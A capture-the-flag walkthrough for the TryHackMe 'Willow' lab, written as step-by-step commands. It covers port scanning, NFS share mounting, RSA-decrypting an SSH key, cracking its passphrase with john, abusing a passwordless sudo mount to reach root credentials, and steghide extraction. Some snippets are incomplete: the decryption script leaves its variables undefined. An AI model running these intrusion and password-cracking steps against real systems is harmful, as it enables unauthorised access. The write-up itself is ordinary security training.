🌿 Willow – TryHackMe Writeup

1️⃣ Enumeration – Find Open Services

```
nmap -sC -sV <IP>
```

Open ports:

- 22 – SSH
- 80 – HTTP
- 111, 2049 – rpcbind & NFS

2️⃣ Web – Extract Encrypted SSH Key

```
curl -s http://<IP>/ | sed 's/.\{0,20\}//' > hex.txt
xxd -r -p hex.txt > key.enc
```

Decoded output reveals an encrypted SSH private key hex string.

3️⃣ NFS – Mount and Retrieve RSA Keys

```
showmount -e <IP>
sudo mount -t nfs <IP>:/var/failsafe /mnt
cat /mnt/rsa_keys
```

This gives you `(e,n)` and `(d,n)` pairs for RSA decryption.

4️⃣ Decrypt SSH Key & Crack Passphrase

Use Python or online tool:

```
# decrypt.py
data = open('key.enc','r').read().split()
print(''.join(chr(int(x)**d % n) for x in data))
```

Save result as `id_rsa`, then crack its passphrase:

```
chmod 600 id_rsa
ssh2john id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
```

5️⃣ SSH – Login as Willow & Get User Flag

```
ssh -i id_rsa willow@<IP>
cat user.jpg
```

Flag is directly visible in the image.

6️⃣ Privilege Escalation – Mount Hidden Backup & Extract Root Credentials

```
sudo -l  # shows: sudo /bin/mount /dev/* without password
ls /dev | grep hidden_backup
sudo mount /dev/hidden_backup ~/bkup
cat ~/bkup/creds.txt
```

Retrieve `root:` password.

7️⃣ Root – Extract True Root Flag via Steganography

```
su root   # use password from creds.txt
find / -name root.txt   # only decoy
```

```
steghide extract -sf user.jpg
# enter passphrase from creds.txt
cat root.txt
```

True root flag extracted from `user.jpg`.
